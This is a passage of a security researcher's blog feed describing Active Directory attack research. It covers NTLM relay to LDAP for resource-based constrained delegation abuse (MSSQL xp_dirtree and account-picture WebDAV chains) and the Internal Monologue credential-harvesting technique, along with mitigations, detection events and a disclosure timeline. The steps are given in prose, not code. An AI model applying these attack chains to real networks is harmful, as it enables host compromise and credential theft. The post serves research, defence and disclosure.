<p>The most obvious next move is to reset the flags that negotiate signing during the NTLM relay. However, Microsoft introduced a MIC (Message Integrity Code, I believe) to the NTLM protocol to prevent that. The MIC is sent by the client in the AUTHENTICATE message, and it protects the integrity of all three NTLM messages using HMAC-MD5 with the session key. If a single bit of the NTLM messages had been altered, the MIC would be invalid and authentication would fail.</p>
<p>Not all clients support MIC, such as Windows XP/2003 and prior, and so it is not mandatory. So another thing to try would be omitting the MIC during the NTLM relay. However, there is a flag that indicates whether a MIC is present or not, and that flag is part of the “salt” used when calculating the NetNTLM response to the challenge. Therefore, if the MIC is removed and the corresponding flag is reset, then the NetNTLM response will be invalid and authentication will fail.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/NTLM_Response.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/NTLM_Response.png" alt="NTLM_Response.png" /></a></p>
<h2 id="reflective-ntlm-relay-is-dead">Reflective NTLM Relay is Dead</h2>
<p>Traditionally, NTLM relay of computer accounts was performed reflectively, meaning from a certain host back to itself. Until <a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-068" target="_blank">MS08-068</a>, it was commonly performed to achieve RCE by relaying from SMB to SMB.</p>
<p>After it was patched, reflective cross-protocol NTLM relay was still possible, and was most commonly abused to achieve LPE in attacks such as <a href="https://foxglovesecurity.com/2016/01/16/hot-potato/" target="_blank">Hot Potato</a>. Cross-protocol reflective relay was patched in <a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075" target="_blank">MS16-075</a>, which killed reflective relays for good (or until James Forshaw brings it back). <a href="https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/" target="_blank">Rotten Potato</a>/<a href="https://ohpe.it/juicy-potato/" target="_blank">Juicy Potato</a> is still alive and kicking, but it is a different flavour of reflective relay as it abuses local authentication, which ignores the challenge-response.</p>
<p>Post <a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075" target="_blank">MS16-075</a> many security researchers stopped hunting for primitives that elicit computer account authentication, because without reflection they were no longer valuable.</p>
<h2 id="viable-ntlm-relay-primitives-for-rcelpe">Viable NTLM Relay Primitives for RCE/LPE</h2>
<p>An RCE/LPE primitive would require one of the following:</p>
<ol>
<li><strong>A client that does not negotiate signing, such as the web client on all Windows versions, <span style="text-decoration:underline;">including WebDAV clients</span>.</strong></li>
<li><strong>A client that does not support MIC in NTLM messages, such as Windows XP/2003 and prior.</strong></li>
<li>An LDAP service that does not ignore unsigned messages or does not verify the MIC on a domain controller that supports resource-based constrained delegation. I don’t believe that this unicorn exists.</li>
</ol>
<p>There are different primitives for triggering the computer account to authenticate over HTTP. Some of them were abused in <a href="https://foxglovesecurity.com/2016/01/16/hot-potato/" target="_blank">Hot Potato</a>. I chose to explore those that take an arbitrary UNC path and then trigger a WebDAV client connection.</p>
<p>Note that on Windows servers, the WebDAV client is not installed by default. On Windows Server 2012R2 and prior, the Desktop Experience feature is required, and on Windows Server 2016 or later, the WebDAV Redirector feature is required. However, on desktops, the WebDAV client is installed by default.</p>
<p>As I mentioned above, it seems that some researchers no longer care for such primitives. However, as Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>) demonstrated with the combination of <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41" target="_blank">“the printer bug”</a> and unconstrained delegation, and as I will demonstrate below, these primitives are still exploitable, and I encourage everyone to keep hunting for them (and tell me all about it when you find them).</p>
<h2 id="getting-intranet-zoned">Getting Intranet-Zoned</h2>
<p>By default, the web client will only authenticate automatically to hosts in the intranet zone, which means that no dots can be present in the hostname. If the relay server already has a suitable DNS record, then this is not an issue. However, if the relay server is “rogue”, an IP address will not cut it. To overcome that, ADIDNS can be abused to add a new DNS record for the relay server, as Kevin Robertson (<a href="https://twitter.com/kevin_robertson" target="_blank">@NetSPI</a>) explained in his blog post <a href="https://blog.netspi.com/exploiting-adidns" target="_blank">Exploiting Active Directory-Integrated DNS</a>.</p>
<h2 id="case-study-1-mssql-rcelpe">Case Study 1: MSSQL RCE/LPE</h2>
<p>MSSQL has an undocumented stored procedure called xp_dirtree that lists the file and folders of a provided path. By default, this stored procedure is accessible to all authenticated users (“Public”).</p>
<p>Under the following conditions, an attacker can achieve RCE/LPE (depending mainly on connectivity) by abusing the xp_dirtree stored procedure:</p>
<ol>
<li>The the attacker has compromised a user permitted to invoke the xp_dirtree stored procedure.</li>
<li>The MSSQL service is running as Network Service, Local System, or a <a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/service-accounts#bkmk-virtualserviceaccounts" target="_blank">Virtual Account</a> (default).</li>
<li>The WebDAV client is installed and running on the target host.</li>
</ol>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises credentials or a TGT for an account that has an SPN or creates one (“Service A”), and an account premitted to connect and invoke xp_dirtree on the target MSSQL instance.</li>
<li>If required, the attacker uses Service A to add a DNS record using ADIDNS.
<a href="/images/TrustedToAuthForDelegationWho/MSSQL1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL1.png" alt="MSSQL1.png" /></a></li>
<li>The attacker logs in to the MSSQL service on the target host (“Service B”) and invokes xp_dirtree to trigger a connection to a rogue <a href="https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c" target="_blank">WebDAV NTLM relay server</a>.
<a href="/images/TrustedToAuthForDelegationWho/MSSQL2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL2.png" alt="MSSQL2.png" /></a></li>
<li>The attacker relays the computer account NTLM authentication to the LDAP service on the domain controller, and configures resource-based constrained delegation from Service A to Service B.
<a href="/images/TrustedToAuthForDelegationWho/MSSQL3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL3.png" alt="MSSQL3.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/MSSQL4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL4.png" alt="MSSQL4.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack to obtain a TGS to Service B for a user that has local administrator privileges on the target host.
<a href="/images/TrustedToAuthForDelegationWho/MSSQL5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL5.png" alt="MSSQL5.png" /></a></li>
<li>The attacker can pass-the-ticket to compromise the target host.
<a href="/images/TrustedToAuthForDelegationWho/MSSQL6.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/MSSQL6.png" alt="MSSQL6.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/MSSQL.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/MSSQL.png" alt="MSSQL.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/nL2oa3URkCs?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/nL2oa3URkCs" target="_blank">https://youtu.be/nL2oa3URkCs</a></p>
<p>Matt Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>) implemented “<a href="https://gist.github.com/3xocyte/0dc0bd4cb48cc7b4075bdc90a1ccc7d3" target="_blank">Bad Sequel</a>” as a PoC exploit for this scenario.
<a href="/images/TrustedToAuthForDelegationWho/bad_sequel.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/bad_sequel.png" alt="bad_sequel.png" /></a></p>
<h2 id="case-study-2-windows-1020162019-lpe">Case Study 2: Windows 10/2016/2019 LPE</h2>
<p>One late night, Matt Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>), Danyal Drew (<a href="https://twitter.com/danyaldrew" target="_blank">@danyaldrew</a>) and I brainstormed ideas where to find suitable RCE/LPE primitives, and decided to explore what happens when a user changes the account picture in Windows 10/2016/2019. We analysed it with Process Monitor and quickly found that during the account picture change SYSTEM opens the picture file to read its attributes. It is a small and meaningless operation; not an arbitrary file write/read/delete. But we are humble people, and that is all we wanted.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/LPE0.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE0.png" alt="LPE0.png" /></a></p>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises credentials or a TGT for an account that has an SPN or creates one (“Service A”).
<a href="/images/TrustedToAuthForDelegationWho/LPE1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE1.png" alt="LPE1.png" /></a></li>
<li>The attacker gains unprivileged access to another computer running Windows 10 or Windows Server 2016/2019 with the WebDAV Redirector feature installed (“Service B”).</li>
<li>If required, the attacker uses Service A to add a DNS record using ADIDNS.
<a href="/images/TrustedToAuthForDelegationWho/LPE2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE2.png" alt="LPE2.png" /></a></li>
<li>The attacker changes the account profile picture to a path on a rogue <a href="https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c" target="_blank">WebDAV NTLM relay server</a>.
<a href="/images/TrustedToAuthForDelegationWho/LPE3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE3.png" alt="LPE3.png" /></a></li>
<li>The attacker relays the computer account NTLM authentication to the LDAP service on the domain controller, and configures resource-based constrained delegation from Service A to Service B.
<a href="/images/TrustedToAuthForDelegationWho/LPE4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE4.png" alt="LPE4.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack to obtain a TGS to Service B for a user that has local administrator privileges on it.
<a href="/images/TrustedToAuthForDelegationWho/LPE5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE5.png" alt="LPE5.png" /></a></li>
<li>The attacker can pass-the-ticket to compromise Service B.
<a href="/images/TrustedToAuthForDelegationWho/LPE6.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/LPE6.png" alt="LPE6.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/LPE.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/LPE.png" alt="LPE.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/741uz0ILxCA?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/741uz0ILxCA" target="_blank">https://youtu.be/741uz0ILxCA</a></p>
<h2 id="mitigating-factors">Mitigating Factors</h2>
<p>Accounts marked as sensitive for delegation or members of the Protected Users group are not affected by the attacks presented here, except for the <a href="#when-the-stars-align-unconstrained-delegation-leads-to-rce">S4U2Self abuse</a>. However, computer accounts are affected, and in my experience they are never marked as sensitive for delegation or added to the Protected Users group. I did not thoroughly test the effects of setting computer accounts as sensitive for delegation or adding them to the Protected Users group, so I cannot recommend doing that, but I do recommend exploring it.</p>
<p>As Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>) demonstrated in <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/38" target="_blank">“the printer bug” abuse case study at DerbyCon 8</a>, obtaining a TGT/TGS for a domain controller allows performing “dcsync” and compromising the domain. As <a href="#when-the-stars-align-unconstrained-delegation-leads-to-rce">demonstrated above</a>, with resource-based constrained delegation, obtaining a TGT for any computer account allows impersonating users to it and potentially compromising the host. Therefore, it is important not to configure any host for unconstrained delegation, because it can facilitate the compromise of other hosts within the forest and within other forests with bidirectional trust.</p>
<p><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/domain-controller-ldap-server-signing-requirements" target="_blank">LDAP signing</a> with <a href="https://support.microsoft.com/en-au/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry" target="_blank">channel binding</a> can mitigate the <a href="#case-study-1-mssql-rcelpe">RCE</a> and <a href="#case-study-2-windows-1020162019-lpe">LPE</a> attack chains described in the case studies above.</p>
<p>The <a href="#case-study-1-mssql-rcelpe">RCE</a>/<a href="#case-study-2-windows-1020162019-lpe">LPE</a> attack chains that involve NTLM relay to LDAP abuse a default ACE that permits Self to write msDS-AllowedToActOnBehalfOfOtherIdentity. Adding a new ACE that denies Self from writing to the attribute msDS-AllowedToActOnBehalfOfOtherIdentity will interrupt these attack chains, which will then have to fall back to abusing that primitive in conjunction with unconstrained delegation. If your organisation does not use resource-based constrained delegation, you can consider adding an ACE that blocks Everyone from writing to the attribute msDS-AllowedToActOnBehalfOfOtherIdentity.</p>
<h2 id="detection">Detection</h2>
<p>The following events can be used in the implementation of detection logic for the attacks describes in this post:</p>
<ul>
<li><strong>S4U2Self:</strong> S4U2Self can be detected in a Kerberos service ticket request event (Event ID 4769), where the Account Information and Service Information sections point to the same account.
<a href="/images/TrustedToAuthForDelegationWho/S4U2Self_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/S4U2Self_Event.png" alt="S4U2Self_Event.png" /></a></li>
<li><strong>S4U2Proxy:</strong> S4U2Proxy can be detected in a Kerberos service ticket request event (Event ID 4769), where the Transited Services attribute in the Additional Information is not blank.
<a href="/images/TrustedToAuthForDelegationWho/S4U2Proxy_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/S4U2Proxy_Event.png" alt="S4U2Proxy_Event.png" /></a></li>
<li><strong><a href="#unconstrained-domain-persistence">Unconstrained Domain Persistence</a>:</strong> The domain persistence technique <a href="#unconstrained-domain-persistence">described above</a> can be detected in a in a Kerberos service ticket request event (Event ID 4769), where the Transited Services attribute in the Additional Information is not blank (indicating S4U2Proxy), and the Service Information points to the “krbtgt” account.
<a href="/images/TrustedToAuthForDelegationWho/Persistence_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence_Event.png" alt="Persistence_Event.png" /></a></li>
<li><strong>msDS-AllowedToActOnBehalfOfOtherIdentity:</strong> <strong>If an appropriate SACL is defined</strong>, then resource-based constrained delegation configuration changes can be detected in directory service object modification events (Event ID 5136), where the LDAP Display Name is “msDS-AllowedToActOnBehalfOfOtherIdentity”. Events where the subject identity and the object identity are the same may be an indicator for some of the attacks presented above.
<a href="/images/TrustedToAuthForDelegationWho/RBCD_Event.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/RBCD_Event.png" alt="RBCD_Event.png" /></a></li>
</ul>
<h2 id="a-word-of-advice-from-microsoft">A Word of Advice from Microsoft</h2>
<p>Microsoft did highlight the risk of S4U2Proxy in <a href="https://msdn.microsoft.com/en-us/library/cc246112.aspx" target="_blank">section 5.1</a> of MS-SFU:</p>
<blockquote>
<p>“The S4U2proxy extension allows a service to obtain a service ticket to a second service on behalf of a user. When combined with S4U2self, this allows the first service to impersonate any user principal while accessing the second service. This gives any service allowed access to the S4U2proxy extension a degree of power similar to that of the KDC itself. <strong>This implies that each of the services allowed to invoke this extension have to be protected nearly as strongly as the KDC</strong> and the services are limited to those that the implementer knows to have correct behavior.”</p>
</blockquote>
<p>S4U2Proxy is a dangerous extension that should be restricted as much as possible. However, the introduction of resource-based constrained delegation allows any account to permit arbitrary accounts to invoke S4U2Proxy, by configuring “incoming” delegation to itself. So should we protect all accounts as strongly as the KDC?</p>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="acknowledgements">Acknowledgements</h2>
<ul>
<li>Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>), Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>), Matt Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>), and Danyal Drew (<a href="https://twitter.com/danyaldrew" target="_blank">@danyaldrew</a>) for bouncing off ideas and helping me figure this out.</li>
<li>Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>) for <a href="https://github.com/GhostPack/Rubeus" target="_blank">Rubeus</a>.</li>
<li>Matt Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>) for <a href="https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc" target="_blank">dementor.py</a>, helping implement the <a href="https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c" target="_blank">WebDAV NTLM relay server</a>, and implementing <a href="https://gist.github.com/3xocyte/0dc0bd4cb48cc7b4075bdc90a1ccc7d3" target="_blank">Bad Sequel</a>.</li>
<li>Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>) for discovering <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41" target="_blank">“the printer bug”</a> and implementing <a href="https://github.com/leechristensen/SpoolSample" target="_blank">SpoolSample</a>.</li>
<li>Benjamin Delpy (<a href="https://twitter.com/gentilkiwi" target="_blank">@gentilkiwi</a>) for modifying Kekeo and Mimikatz to support this research. And OJ Reeves (<a href="https://twitter.com/TheColonial" target="_blank">@TheColonial</a>) for the introduction.</li>
<li>Kevin Robertson (<a href="https://twitter.com/kevin_robertson" target="_blank">@NetSPI</a>) for <a href="https://github.com/Kevin-Robertson/Powermad" target="_blank">Powermad</a>.</li>
<li>Microsoft for always coming up with great ideas, and never disappointing.</li>
</ul>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li>26/10/2018 - Sent initial report to MSRC.</li>
<li>27/10/2018 - MSRC Case 48231 was opened and a case manager was assigned.</li>
<li>01/11/2018 - Sent an email to MSRC to let them know this behaviour actually conforms with the specification, but I believe it is still a security issue.</li>
<li>09/11/2018 - Sent an email to MSRC requesting an update on this case.</li>
<li>14/11/2018 - MSRC responded that they are still trying to replicate the issue.</li>
<li>27/11/2018 - Sent an email to MSRC providing a 60-day notice to public disclosure.</li>
<li>09/12/2018 - Send a reminder email to MSRC.</li>
<li>11/12/2018 - MSRC responded that a new case manager was assigned and the following conclusion was reached:
<blockquote>
<p>“The engineering team has determined this is not an issue which will be addressed via a security update but rather we need to update our documentation to highlight service configuration best practices and using a number of features such as group managed service accounts, resource based constrained delegation, dynamic access control, authentication policies, and ensuring unconstrained delegation is not enabled. The team is actively working on the documentation right now with the goal of having it published prior to your disclosure date.”</p>
</blockquote>
</li>
<li>28/01/2019 - Public disclosure</li>
</ul>
<p>I would like to note that my first experience with MSRC was very disappointing. The lack of dialogue was discouraging and not at all what I had expected.</p>
<p><strong>This post was also published on <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">shenaniganslabs.io</a></strong>.</p>Elad ShamirBack in March 2018, I embarked on an arguably pointless crusade to prove that the TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved without it. I believed that security wise, once constrained delegation was enabled (msDS-AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or “any authentication protocol”. I started the journey with Benjamin Delpy’s (@gentilkiwi) help modifying Kekeo to support a certain attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success, but the final TGS turned out to be unusable. Ever since then, I kept coming back to it, trying to solve the problem with different approaches but did not have much success. Until I finally accepted defeat, and ironically then the solution came up, along with several other interesting abuse cases and new attack techniques.Shenanigans!2019-01-12T00:00:00+00:002019-01-12T00:00:00+00:00https://eladshamir.com/2019/01/12/Shenanigans<p>Some of my colleagues and I decided to join forces and launch a new research team called <a href="https://shenaniganslabs.io" target="_blank">Shenanigans Labs</a>.</p>
<p>We will occasionally write about our research projects in our new blog at <a href="https://shenaniganslabs.io" target="_blank">shenaniganslabs.io</a>, when we discover an interesting vulnerability or a new TTP, and if we are at liberty to publish them.</p>
<p>We hope you find our posts valuable and enjoy reading them.</p>
<p>I will cross-post my content in this blog and at <a href="https://shenaniganslabs.io" target="_blank">shenaniganslabs.io</a>.</p>Elad ShamirSome of my colleagues and I decided to join forces and launch a new research team called Shenanigans Labs. We will occasionally write about our research projects in our new blog at shenaniganslabs.io, when we discover an interesting vulnerability or a new TTP, and if we are at liberty to publish them. We hope you find our posts valuable and enjoy reading them. I will cross-post my content in this blog and at shenaniganslabs.io.Abusing Resource-based Constrained Delegation 1012018-10-25T00:00:00+00:002018-10-25T00:00:00+00:00https://eladshamir.com/2018/10/25/RBCD<p>I recently collaborated with Will Schroeder (<a href="https://twitter.com/harmj0y" target="blank">@harmj0y</a>) to weaponise resource-based constrained delegation to abuse ACLs to take over computer objects in Active Directory.</p>
<p>Will wrote an excellent post about it, which I highly recommend reading:
<a href="https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/" target="blank">https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/</a></p>
<p>We later took it up a notch and abused it to the extreme. I will publish the details on 28/01/2019 or as soon as MSRC clears it.</p>Elad ShamirI recently collaborated with Will Schroeder (@harmj0y) to weaponise resource-based constrained delegation to abuse ACLs to take over computer objects in Active Directory. Will wrote an excellent post about it, which I highly recommend reading: https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/ We later took it up a notch and abused it to the extreme. I will publish the details on 28/01/2019 or as soon as MSRC clears it.Internal Monologue Attack - Retrieving NTLM Hashes without Touching LSASS2018-03-19T00:00:00+00:002018-03-19T00:00:00+00:00https://eladshamir.com/2018/03/19/Internal-Monologue<p>Mimikatz is a well-regarded post-exploitation tool, which allows adversaries to extract plain text passwords, NTLM hashes and Kerberos tickets from memory, as well as perform attacks such as pass-the-hash, pass-the-ticket or build a golden ticket. Arguably, the primary use of Mimikatz is retrieving user credentials from LSASS process memory for use in post exploitation lateral movement.</p>
<p>Recently, Microsoft has introduced Credential Guard in Windows 10 Enterprise and Windows Server 2016, which uses virtualization-based security to isolate secrets, and it is very effective in preventing Mimikatz from retrieving hashes directly from memory.
Also, Mimikatz has become a prime target of most endpoint protection solutions, and they are very aggressive in their efforts to detect and prevent it. Although these efforts are bound to fail, they are increasingly becoming a nuisance.
<!--more--></p>
<h2 id="netntlm">NetNTLM</h2>
<p>NetNTLM is Windows’ challenge-response protocol that is mainly used where Kerberos is not supported. In NetNTLM, the server sends to the client a random 8-byte nonce as a challenge, and the client calculates a response that processes the challenge with the NTLM hash as the key, which is the MD4 hash of the user’s password. There are two versions of the NetNTLM authentication protocol, and both are vulnerable to certain attacks. Naturally, version 1 is significantly weaker than version 2, and therefore as of Windows Vista/2008 NetNTLM version 1 is disabled by default.</p>
<h2 id="pass-the-hash">Pass the Hash</h2>
<p>Because the NTLM hash is the key to calculating the response, an adversary does not necessarily need to obtain the victim’s plain text password to authenticate, hence retrieving the hash from LSASS memory using Mimikatz is almost equivalent to stealing a plain text password.
Chris Hummel has published an article describing this technique in 2009 and named it “Pass the Hash” <a href="https://www.sans.org/reading-room/whitepapers/testing/crack-pass-hash-33219" target="_blank"> [https://www.sans.org/reading-room/whitepapers/testing/crack-pass-hash-33219] </a>.</p>
<h2 id="divide-and-conquer">Divide and Conquer</h2>
<p>At Defcon 2012, Moxie Marlinspike and David Hulton presented a “Divide and Conquer” attack against NetNTLMv1 <a href="https://www.youtube.com/watch?v=sIidzPntdCM" target="_blank"> [https://www.youtube.com/watch?v=sIidzPntdCM] </a>. In NetNTLMv1, the client receives the 8-byte challenge and calculates the response by encrypting it three times using DES with the different parts of the NTLM hash as the key. The key length for DES is effectively 56 bits, which is 7 bytes, while the NTLM hash is 16 bytes. NetNTLMv1 first encrypts the challenge using the first 7 bytes of the NTLM hash as the key, then encrypts the challenge using the next 7 bytes of the NTLM hash as the key, and finally encrypts the challenge using the last 2 bytes of the NTLM hash padded with null-bytes as the key. Effectively, this means that to retrieve the NTLM hash given a NetNTLMv1 challenge and response, an adversary must crack two 56-bit DES keys, which is exponentially easier than cracking a single 128-bit key.
Moxie and Hulton developed custom hardware for this task and were able to brute-force the entire DES keyspace in less than 24 hours, which guarantees the successful retrieval of the NTLM hash within a reasonable time.
Note that unlike dictionary or brute force attacks against the password, which may not be fruitful, this attack guarantees the successful retrieval of the NTLM hash.</p>
<h2 id="rainbow-tables">Rainbow Tables</h2>
<p>As demonstrated by ToorCon at <a href="https://crack.sh" target="_blank"> [https://crack.sh] </a>, it is feasible to create a complete rainbow table for all the possible NetNTLMv1 responses to a chosen challenge, such as 0x1122334455667788, which allows cracking the NTLM hash for a given response within minutes. The implication is that capturing a NetNTLMv1 response for the chosen challenge can be translated to the corresponding NTLM hash almost instantly, which is almost the equivalent to obtaining the password due to Pass the Hash.</p>
<h2 id="netntlm-downgrade-attack">NetNTLM Downgrade Attack</h2>
<p>Mimikatz is commonly executed after the adversary has gained elevated access to the target host. At this point, the adversary can also change registry keys, such as LMCompatibilityLevel, which specifies whether the host should negotiate NetNTLMv1 or NetNTLMv2. The adversary can change the value to 0, 1 or 2, which enable NetNTLMv1 as a client, and then try to authenticate to a rogue SMB server that will capture the client’s response, as described in Optiv’s blog post <a href="https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" target="_blank"> [https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks] </a>.</p>
<h2 id="extended-netntlm-downgrade-attack">Extended NetNTLM Downgrade Attack</h2>
<p>Two more settings may stop the victim from negotiating a NetNTLMv1 response:</p>
<ol>
<li>NTLMMinClientSec - if configured to “Require NTLMv2 session security”, the connection will fail if NTLMv2 protocol is not negotiated.</li>
<li>RestrictSendingNTLMTraffic - if configured to “Deny all,” the client computer cannot authenticate to a remote server with NetNTLM of any version.
Similarly to the NetNTLM Downgrade attack, these settings can be changed if necessary. Note that unlike LMCompatibilityLevel, these settings are not configured by default to block NetNTLMv1 authentication.</li>
</ol>
<h2 id="internal-monologue-attack">Internal Monologue Attack</h2>
<p>In secure environments, where Mimikatz should not be executed, an adversary can perform an Internal Monologue Attack, in which they invoke a local procedure call to the NTLM authentication package (MSV1_0) from a user-mode application through SSPI to calculate a NetNTLM response in the context of the logged on user, after performing an extended NetNTLM downgrade.</p>
<p>The Internal Monologue Attack flow is described below:</p>
<ol>
<li>Disable NetNTLMv1 preventive controls by changing LMCompatibilityLevel, NTLMMinClientSec and RestrictSendingNTLMTraffic to appropriate values, as described above.</li>
<li>Retrieve all non-network logon tokens from currently running processes and impersonate the associated users.</li>
<li>For each impersonated user, interact with NTLM SSP locally to elicit a NetNTLMv1 response to the chosen challenge in the security context of the impersonated user.</li>
<li>Restore the original values of LMCompatibilityLevel, NTLMMinClientSec and RestrictSendingNTLMTraffic.</li>
<li>Crack the NTLM hash of the captured responses using rainbow tables.</li>
<li>Pass the Hash.</li>
</ol>
<h2 id="update-credential-guard-compatibility">Update: Credential Guard Compatibility</h2>
<p>I have recently retested Internal Monologue in environments with Credential Guard enabled and got negative results. I am not sure whether Credential Guard was not working properly in my test environment during the initial tests, or perhaps something changed since then.
I updated the implementation to acquire a server token from AcceptSecurityContext dynamically and tamper with it to avoid the local authentication trap, so that if NetNTLMv1 without Extended Session Security fails, at least a NetNTLMv2 challenge-response can be captured.</p>
<h2 id="audit-trail">Audit Trail</h2>
<p>The Internal Monologue Attack is arguably stealthier than running Mimikatz because there is no need to inject code or dump memory to/from a protected process.
Because the NetNTLMv1 response is elicited by interacting with NTLM SSP locally, no network traffic is generated, and the chosen challenge is not easily visible.
No successful NTLM authentication event is recorded in the logs.
The registry changes for the NetNTLM downgrade and stealing tokens/impersonating other users may trip indicators.</p>
<h2 id="proof-of-concept">Proof of Concept</h2>
<p><a href="https://github.com/eladshamir/Internal-Monologue" target="_blank">This tool</a> is a proof of concept that implements the Internal Monologue Attack in C#. Porting the code to PowerShell may substitute certain event logs in the audit trail with others.
The PoC code is far from perfect. Positive contributions and improvements are welcome.</p>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="acknowledgements">Acknowledgements</h2>
<ul>
<li>Matthew Bush (<a href="https://twitter.com/3xocyte" target="_blank">@3xocyte</a>) and Shaun Williamson for helping bounce off ideas and put this together</li>
<li>Moxie Marlinspike and David Hulton for their talk “Defeating PPTP VPNs and WPA2 Enterprise with MS-CHAPv2” at Defcon 20</li>
<li>Optiv for the NetNTLM Downgrade Attack</li>
<li>Bialek Joseph (<a href="https://twitter.com/clymb3r" target="_blank">@clymb3r</a>) for Invoke-TokenManupilation</li>
<li>MWR Labs for Incognito</li>
<li>Anton Sapozhnikov (<a href="https://twitter.com/snowytoxa" target="_blank">@snowytoxa</a>) for Selfhash</li>
<li>Tim Malcom Vetter (<a href="https://twitter.com/malcomvetter" target="_blank">@malcomvetter</a>) for multiple improvements</li>
<li>Marcello Salvati (<a href="https://twitter.com/byt3bl33d3r" target="_blank">@byt3bl33d3r</a>) for the DLL library addition</li>
</ul>Elad ShamirMimikatz is a well-regarded post-exploitation tool, which allows adversaries to extract plain text passwords, NTLM hashes and Kerberos tickets from memory, as well as perform attacks such as pass-the-hash, pass-the-ticket or build a golden ticket. Arguably, the primary use of Mimikatz is retrieving user credentials from LSASS process memory for use in post exploitation lateral movement. Recently, Microsoft has introduced Credential Guard in Windows 10 Enterprise and Windows Server 2016, which uses virtualization-based security to isolate secrets, and it is very effective in preventing Mimikatz from retrieving hashes directly from memory. Also, Mimikatz has become a prime target of most endpoint protection solutions, and they are very aggressive in their efforts to detect and prevent it. Although these efforts are bound to fail, they are increasingly becoming a nuisance.